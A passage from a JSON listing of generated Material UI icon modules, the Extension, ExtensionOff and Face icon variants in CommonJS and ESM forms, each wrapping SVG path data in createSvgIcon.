    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 11H19V7c0-1.1-.9-2-2-2h-4V3.5C13 2.12 11.88 1 10.5 1S8 2.12 8 3.5V5H4c-1.1 0-1.99.9-1.99 2v3.8H3.5c1.49 0 2.7 1.21 2.7 2.7s-1.21 2.7-2.7 2.7H2V20c0 1.1.9 2 2 2h3.8v-1.5c0-1.49 1.21-2.7 2.7-2.7s2.7 1.21 2.7 2.7V22H17c1.1 0 2-.9 2-2v-4h1.5c1.38 0 2.5-1.12 2.5-2.5S21.88 11 20.5 11\"\n}), 'Extension');"
  },
  {
    "path": "packages/mui-icons-material/lib/Extension.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 11H19V7c0-1.1-.9-2-2-2h-4V3.5C13 2.12 11.88 1 10.5 1S8 2.12 8 3.5V5H4c-1.1 0-1.99.9-1.99 2v3.8H3.5c1.49 0 2.7 1.21 2.7 2.7s-1.21 2.7-2.7 2.7H2V20c0 1.1.9 2 2 2h3.8v-1.5c0-1.49 1.21-2.7 2.7-2.7s2.7 1.21 2.7 2.7V22H17c1.1 0 2-.9 2-2v-4h1.5c1.38 0 2.5-1.12 2.5-2.5S21.88 11 20.5 11\"\n}), 'Extension');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExtensionOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.78 22.61-1.63-1.63c-.05 0-.1.02-.15.02h-3.8c0-2.71-2.16-3-2.7-3s-2.7.29-2.7 3H5c-1.1 0-2-.9-2-2v-3.8c2.71 0 3-2.16 3-2.7s-.3-2.7-2.99-2.7V6c0-.05.02-.09.02-.14L1.39 4.22 2.8 2.81l18.38 18.38zm.22-5.44V15c1.38 0 2.5-1.12 2.5-2.5S21.38 10 20 10V6c0-1.1-.9-2-2-2h-4c0-1.38-1.12-2.5-2.5-2.5S9 2.62 9 4H6.83z\"\n}), 'ExtensionOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExtensionOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.78 22.61-1.63-1.63c-.05 0-.1.02-.15.02h-3.8c0-2.71-2.16-3-2.7-3s-2.7.29-2.7 3H5c-1.1 0-2-.9-2-2v-3.8c2.71 0 3-2.16 3-2.7s-.3-2.7-2.99-2.7V6c0-.05.02-.09.02-.14L1.39 4.22 2.8 2.81l18.38 18.38zm.22-5.44V15c1.38 0 2.5-1.12 2.5-2.5S21.38 10 20 10V6c0-1.1-.9-2-2-2h-4c0-1.38-1.12-2.5-2.5-2.5S9 2.62 9 4H6.83z\"\n}), 'ExtensionOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExtensionOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m1.39 4.22 1.62 1.62c0 .05-.01.1-.01.16v3.8c2.7 0 3 2.16 3 2.7s-.29 2.7-3 2.7V19c0 1.1.9 2 2 2h3.8c0-2.71 2.16-3 2.7-3s2.7.29 2.7 3H18c.06 0 .11 0 .16-.01l1.61 1.61 1.41-1.41L2.81 2.81zM11.5 16c-1.5 0-3.57.83-4.37 3H5v-2.13c2.17-.8 3-2.87 3-4.37 0-.69-.18-1.5-.58-2.25l6.33 6.33c-.75-.4-1.56-.58-2.25-.58M8.83 6l-2-2H9c0-1.38 1.12-2.5 2.5-2.5S14 2.62 14 4h4c1.1 0 2 .9 2 2v4c1.38 0 2.5 1.12 2.5 2.5S21.38 15 20 15v2.17l-2-2V13h2c.28 0 .5-.22.5-.5s-.22-.5-.5-.5h-2V6h-6V4c0-.28-.22-.5-.5-.5s-.5.22-.5.5v2z\"\n}), 'ExtensionOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExtensionOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m1.39 4.22 1.62 1.62c0 .05-.01.1-.01.16v3.8c2.7 0 3 2.16 3 2.7s-.29 2.7-3 2.7V19c0 1.1.9 2 2 2h3.8c0-2.71 2.16-3 2.7-3s2.7.29 2.7 3H18c.06 0 .11 0 .16-.01l1.61 1.61 1.41-1.41L2.81 2.81zM11.5 16c-1.5 0-3.57.83-4.37 3H5v-2.13c2.17-.8 3-2.87 3-4.37 0-.69-.18-1.5-.58-2.25l6.33 6.33c-.75-.4-1.56-.58-2.25-.58M8.83 6l-2-2H9c0-1.38 1.12-2.5 2.5-2.5S14 2.62 14 4h4c1.1 0 2 .9 2 2v4c1.38 0 2.5 1.12 2.5 2.5S21.38 15 20 15v2.17l-2-2V13h2c.28 0 .5-.22.5-.5s-.22-.5-.5-.5h-2V6h-6V4c0-.28-.22-.5-.5-.5s-.5.22-.5.5v2z\"\n}), 'ExtensionOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExtensionOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.49 21.9c-.39.39-1.02.39-1.41 0l-.92-.92c-.06 0-.11.02-.16.02h-3.8c0-2.71-2.16-3-2.7-3s-2.7.29-2.7 3H5c-1.1 0-2-.9-2-2v-3.8c2.71 0 3-2.16 3-2.7s-.3-2.7-2.99-2.7V6c0-.05.02-.09.02-.14l-.93-.93a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.97 16.97c.4.39.4 1.02.01 1.41M20 17.17V15c1.38 0 2.5-1.12 2.5-2.5S21.38 10 20 10V6c0-1.1-.9-2-2-2h-4c0-1.38-1.12-2.5-2.5-2.5S9 2.62 9 4H6.83z\"\n}), 'ExtensionOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExtensionOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.49 21.9c-.39.39-1.02.39-1.41 0l-.92-.92c-.06 0-.11.02-.16.02h-3.8c0-2.71-2.16-3-2.7-3s-2.7.29-2.7 3H5c-1.1 0-2-.9-2-2v-3.8c2.71 0 3-2.16 3-2.7s-.3-2.7-2.99-2.7V6c0-.05.02-.09.02-.14l-.93-.93a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.97 16.97c.4.39.4 1.02.01 1.41M20 17.17V15c1.38 0 2.5-1.12 2.5-2.5S21.38 10 20 10V6c0-1.1-.9-2-2-2h-4c0-1.38-1.12-2.5-2.5-2.5S9 2.62 9 4H6.83z\"\n}), 'ExtensionOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExtensionOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.78 22.61-1.63-1.63c-.05 0-.1.02-.15.02h-3.8c0-2.71-2.16-3-2.7-3s-2.7.29-2.7 3H3v-5.8c2.71 0 3-2.16 3-2.7s-.3-2.7-2.99-2.7V6c0-.05.02-.09.02-.14L1.39 4.22 2.8 2.81l18.38 18.38zm.22-5.44V15c1.38 0 2.5-1.12 2.5-2.5S21.38 10 20 10V4h-6c0-1.38-1.12-2.5-2.5-2.5S9 2.62 9 4H6.83z\"\n}), 'ExtensionOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExtensionOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.78 22.61-1.63-1.63c-.05 0-.1.02-.15.02h-3.8c0-2.71-2.16-3-2.7-3s-2.7.29-2.7 3H3v-5.8c2.71 0 3-2.16 3-2.7s-.3-2.7-2.99-2.7V6c0-.05.02-.09.02-.14L1.39 4.22 2.8 2.81l18.38 18.38zm.22-5.44V15c1.38 0 2.5-1.12 2.5-2.5S21.38 10 20 10V4h-6c0-1.38-1.12-2.5-2.5-2.5S9 2.62 9 4H6.83z\"\n}), 'ExtensionOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExtensionOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13v2.17L8.83 6H11V4c0-.28.22-.5.5-.5s.5.22.5.5v2h6v6h2c.28 0 .5.22.5.5s-.22.5-.5.5zm-10-.5c0 1.5-.83 3.57-3 4.37V19h2.13c.8-2.17 2.87-3 4.37-3 .69 0 1.5.18 2.25.58l-6.33-6.33c.4.75.58 1.56.58 2.25\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m1.39 4.22 1.62 1.62c0 .05-.01.1-.01.16v3.8c2.7 0 3 2.16 3 2.7s-.29 2.7-3 2.7V19c0 1.1.9 2 2 2h3.8c0-2.71 2.16-3 2.7-3s2.7.29 2.7 3H18c.06 0 .11 0 .16-.01l1.61 1.61 1.41-1.41L2.81 2.81zM11.5 16c-1.5 0-3.57.83-4.37 3H5v-2.13c2.17-.8 3-2.87 3-4.37 0-.69-.18-1.5-.58-2.25l6.33 6.33c-.75-.4-1.56-.58-2.25-.58M8.83 6l-2-2H9c0-1.38 1.12-2.5 2.5-2.5S14 2.62 14 4h4c1.1 0 2 .9 2 2v4c1.38 0 2.5 1.12 2.5 2.5S21.38 15 20 15v2.17l-2-2V13h2c.28 0 .5-.22.5-.5s-.22-.5-.5-.5h-2V6h-6V4c0-.28-.22-.5-.5-.5s-.5.22-.5.5v2z\"\n}, \"1\")], 'ExtensionOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExtensionOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13v2.17L8.83 6H11V4c0-.28.22-.5.5-.5s.5.22.5.5v2h6v6h2c.28 0 .5.22.5.5s-.22.5-.5.5zm-10-.5c0 1.5-.83 3.57-3 4.37V19h2.13c.8-2.17 2.87-3 4.37-3 .69 0 1.5.18 2.25.58l-6.33-6.33c.4.75.58 1.56.58 2.25\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m1.39 4.22 1.62 1.62c0 .05-.01.1-.01.16v3.8c2.7 0 3 2.16 3 2.7s-.29 2.7-3 2.7V19c0 1.1.9 2 2 2h3.8c0-2.71 2.16-3 2.7-3s2.7.29 2.7 3H18c.06 0 .11 0 .16-.01l1.61 1.61 1.41-1.41L2.81 2.81zM11.5 16c-1.5 0-3.57.83-4.37 3H5v-2.13c2.17-.8 3-2.87 3-4.37 0-.69-.18-1.5-.58-2.25l6.33 6.33c-.75-.4-1.56-.58-2.25-.58M8.83 6l-2-2H9c0-1.38 1.12-2.5 2.5-2.5S14 2.62 14 4h4c1.1 0 2 .9 2 2v4c1.38 0 2.5 1.12 2.5 2.5S21.38 15 20 15v2.17l-2-2V13h2c.28 0 .5-.22.5-.5s-.22-.5-.5-.5h-2V6h-6V4c0-.28-.22-.5-.5-.5s-.5.22-.5.5v2z\"\n}, \"1\")], 'ExtensionOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExtensionOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.5 4.5c.28 0 .5.22.5.5v2h6v6h2c.28 0 .5.22.5.5s-.22.5-.5.5h-2v6h-2.12c-.68-1.75-2.39-3-4.38-3s-3.7 1.25-4.38 3H4v-2.12c1.75-.68 3-2.39 3-4.38S5.76 9.8 4.01 9.12L4 7h6V5c0-.28.22-.5.5-.5m0-2C9.12 2.5 8 3.62 8 5H4c-1.1 0-1.99.9-1.99 2v3.8h.29c1.49 0 2.7 1.21 2.7 2.7s-1.21 2.7-2.7 2.7H2V20c0 1.1.9 2 2 2h3.8v-.3c0-1.49 1.21-2.7 2.7-2.7s2.7 1.21 2.7 2.7v.3H17c1.1 0 2-.9 2-2v-4c1.38 0 2.5-1.12 2.5-2.5S20.38 11 19 11V7c0-1.1-.9-2-2-2h-4c0-1.38-1.12-2.5-2.5-2.5\"\n}), 'ExtensionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExtensionOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.5 4.5c.28 0 .5.22.5.5v2h6v6h2c.28 0 .5.22.5.5s-.22.5-.5.5h-2v6h-2.12c-.68-1.75-2.39-3-4.38-3s-3.7 1.25-4.38 3H4v-2.12c1.75-.68 3-2.39 3-4.38S5.76 9.8 4.01 9.12L4 7h6V5c0-.28.22-.5.5-.5m0-2C9.12 2.5 8 3.62 8 5H4c-1.1 0-1.99.9-1.99 2v3.8h.29c1.49 0 2.7 1.21 2.7 2.7s-1.21 2.7-2.7 2.7H2V20c0 1.1.9 2 2 2h3.8v-.3c0-1.49 1.21-2.7 2.7-2.7s2.7 1.21 2.7 2.7v.3H17c1.1 0 2-.9 2-2v-4c1.38 0 2.5-1.12 2.5-2.5S20.38 11 19 11V7c0-1.1-.9-2-2-2h-4c0-1.38-1.12-2.5-2.5-2.5\"\n}), 'ExtensionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExtensionRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 11H19V7c0-1.1-.9-2-2-2h-4V3.5C13 2.12 11.88 1 10.5 1S8 2.12 8 3.5V5H4c-1.1 0-1.99.9-1.99 2v3.8H3.5c1.49 0 2.7 1.21 2.7 2.7s-1.21 2.7-2.7 2.7H2V20c0 1.1.9 2 2 2h3.8v-1.5c0-1.49 1.21-2.7 2.7-2.7s2.7 1.21 2.7 2.7V22H17c1.1 0 2-.9 2-2v-4h1.5c1.38 0 2.5-1.12 2.5-2.5S21.88 11 20.5 11\"\n}), 'ExtensionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExtensionRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 11H19V7c0-1.1-.9-2-2-2h-4V3.5C13 2.12 11.88 1 10.5 1S8 2.12 8 3.5V5H4c-1.1 0-1.99.9-1.99 2v3.8H3.5c1.49 0 2.7 1.21 2.7 2.7s-1.21 2.7-2.7 2.7H2V20c0 1.1.9 2 2 2h3.8v-1.5c0-1.49 1.21-2.7 2.7-2.7s2.7 1.21 2.7 2.7V22H17c1.1 0 2-.9 2-2v-4h1.5c1.38 0 2.5-1.12 2.5-2.5S21.88 11 20.5 11\"\n}), 'ExtensionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExtensionSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.36 11H19V5h-6V3.64c0-1.31-.94-2.5-2.24-2.63C9.26.86 8 2.03 8 3.5V5H2.01v5.8H3.4c1.31 0 2.5.88 2.75 2.16.33 1.72-.98 3.24-2.65 3.24H2V22h5.8v-1.4c0-1.31.88-2.5 2.16-2.75 1.72-.33 3.24.98 3.24 2.65V22H19v-6h1.5c1.47 0 2.64-1.26 2.49-2.76-.13-1.3-1.33-2.24-2.63-2.24\"\n}), 'ExtensionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExtensionSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.36 11H19V5h-6V3.64c0-1.31-.94-2.5-2.24-2.63C9.26.86 8 2.03 8 3.5V5H2.01v5.8H3.4c1.31 0 2.5.88 2.75 2.16.33 1.72-.98 3.24-2.65 3.24H2V22h5.8v-1.4c0-1.31.88-2.5 2.16-2.75 1.72-.33 3.24.98 3.24 2.65V22H19v-6h1.5c1.47 0 2.64-1.26 2.49-2.76-.13-1.3-1.33-2.24-2.63-2.24\"\n}), 'ExtensionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExtensionTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13h-2V7h-6V5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v2H4l.01 2.12C5.76 9.8 7 11.51 7 13.5s-1.25 3.7-3 4.38V20h2.12c.68-1.75 2.39-3 4.38-3s3.7 1.25 4.38 3H17v-6h2c.28 0 .5-.22.5-.5s-.22-.5-.5-.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11V7c0-1.1-.9-2-2-2h-4c0-1.38-1.12-2.5-2.5-2.5S8 3.62 8 5H4c-1.1 0-1.99.9-1.99 2v3.8h.29c1.49 0 2.7 1.21 2.7 2.7s-1.21 2.7-2.7 2.7H2V20c0 1.1.9 2 2 2h3.8v-.3c0-1.49 1.21-2.7 2.7-2.7s2.7 1.21 2.7 2.7v.3H17c1.1 0 2-.9 2-2v-4c1.38 0 2.5-1.12 2.5-2.5S20.38 11 19 11m0 3h-2v6h-2.12c-.68-1.75-2.39-3-4.38-3s-3.7 1.25-4.38 3H4v-2.12c1.75-.68 3-2.39 3-4.38S5.76 9.8 4.01 9.12L4 7h6V5c0-.28.22-.5.5-.5s.5.22.5.5v2h6v6h2c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}, \"1\")], 'ExtensionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExtensionTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13h-2V7h-6V5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v2H4l.01 2.12C5.76 9.8 7 11.51 7 13.5s-1.25 3.7-3 4.38V20h2.12c.68-1.75 2.39-3 4.38-3s3.7 1.25 4.38 3H17v-6h2c.28 0 .5-.22.5-.5s-.22-.5-.5-.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11V7c0-1.1-.9-2-2-2h-4c0-1.38-1.12-2.5-2.5-2.5S8 3.62 8 5H4c-1.1 0-1.99.9-1.99 2v3.8h.29c1.49 0 2.7 1.21 2.7 2.7s-1.21 2.7-2.7 2.7H2V20c0 1.1.9 2 2 2h3.8v-.3c0-1.49 1.21-2.7 2.7-2.7s2.7 1.21 2.7 2.7v.3H17c1.1 0 2-.9 2-2v-4c1.38 0 2.5-1.12 2.5-2.5S20.38 11 19 11m0 3h-2v6h-2.12c-.68-1.75-2.39-3-4.38-3s-3.7 1.25-4.38 3H4v-2.12c1.75-.68 3-2.39 3-4.38S5.76 9.8 4.01 9.12L4 7h6V5c0-.28.22-.5.5-.5s.5.22.5.5v2h6v6h2c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}, \"1\")], 'ExtensionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 11.75c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25m6 0c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-.29.02-.58.05-.86 2.36-1.05 4.23-2.98 5.21-5.37C11.07 8.33 14.05 10 17.42 10c.78 0 1.53-.09 2.25-.26.21.71.33 1.47.33 2.26 0 4.41-3.59 8-8 8\"\n}), 'Face');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 11.75c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25m6 0c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-.29.02-.58.05-.86 2.36-1.05 4.23-2.98 5.21-5.37C11.07 8.33 14.05 10 17.42 10c.78 0 1.53-.09 2.25-.26.21.71.33 1.47.33 2.26 0 4.41-3.59 8-8 8\"\n}), 'Face');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face2.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.97 13.52v-.04C23.21 12.38 24 10.78 24 9c0-3.31-2.69-6-6-6q-.39 0-.78.06C16.19 1.23 14.24 0 12 0S7.81 1.23 6.78 3.06Q6.39 3 6 3C2.69 3 0 5.69 0 9c0 1.78.79 3.38 2.02 4.48v.04C.79 14.62 0 16.22 0 18c0 3.31 2.69 6 6 6 1.39 0 2.67-.48 3.69-1.28.74.18 1.51.28 2.31.28s1.57-.1 2.31-.28c1.02.8 2.3 1.28 3.69 1.28 3.31 0 6-2.69 6-6 0-1.78-.79-3.38-2.03-4.48M12 21c-4.41 0-8-3.59-8-8 0-3.72 2.56-6.85 6-7.74v.05c0 3.34 2.72 6.06 6.06 6.06 1.26 0 2.45-.39 3.45-1.09.31.86.49 1.77.49 2.72 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"2\")], 'Face2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face2.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.97 13.52v-.04C23.21 12.38 24 10.78 24 9c0-3.31-2.69-6-6-6q-.39 0-.78.06C16.19 1.23 14.24 0 12 0S7.81 1.23 6.78 3.06Q6.39 3 6 3C2.69 3 0 5.69 0 9c0 1.78.79 3.38 2.02 4.48v.04C.79 14.62 0 16.22 0 18c0 3.31 2.69 6 6 6 1.39 0 2.67-.48 3.69-1.28.74.18 1.51.28 2.31.28s1.57-.1 2.31-.28c1.02.8 2.3 1.28 3.69 1.28 3.31 0 6-2.69 6-6 0-1.78-.79-3.38-2.03-4.48M12 21c-4.41 0-8-3.59-8-8 0-3.72 2.56-6.85 6-7.74v.05c0 3.34 2.72 6.06 6.06 6.06 1.26 0 2.45-.39 3.45-1.09.31.86.49 1.77.49 2.72 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"14\",\n  r: \"1.25\"\n}, \"2\")], 'Face2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face2Outlined.js",
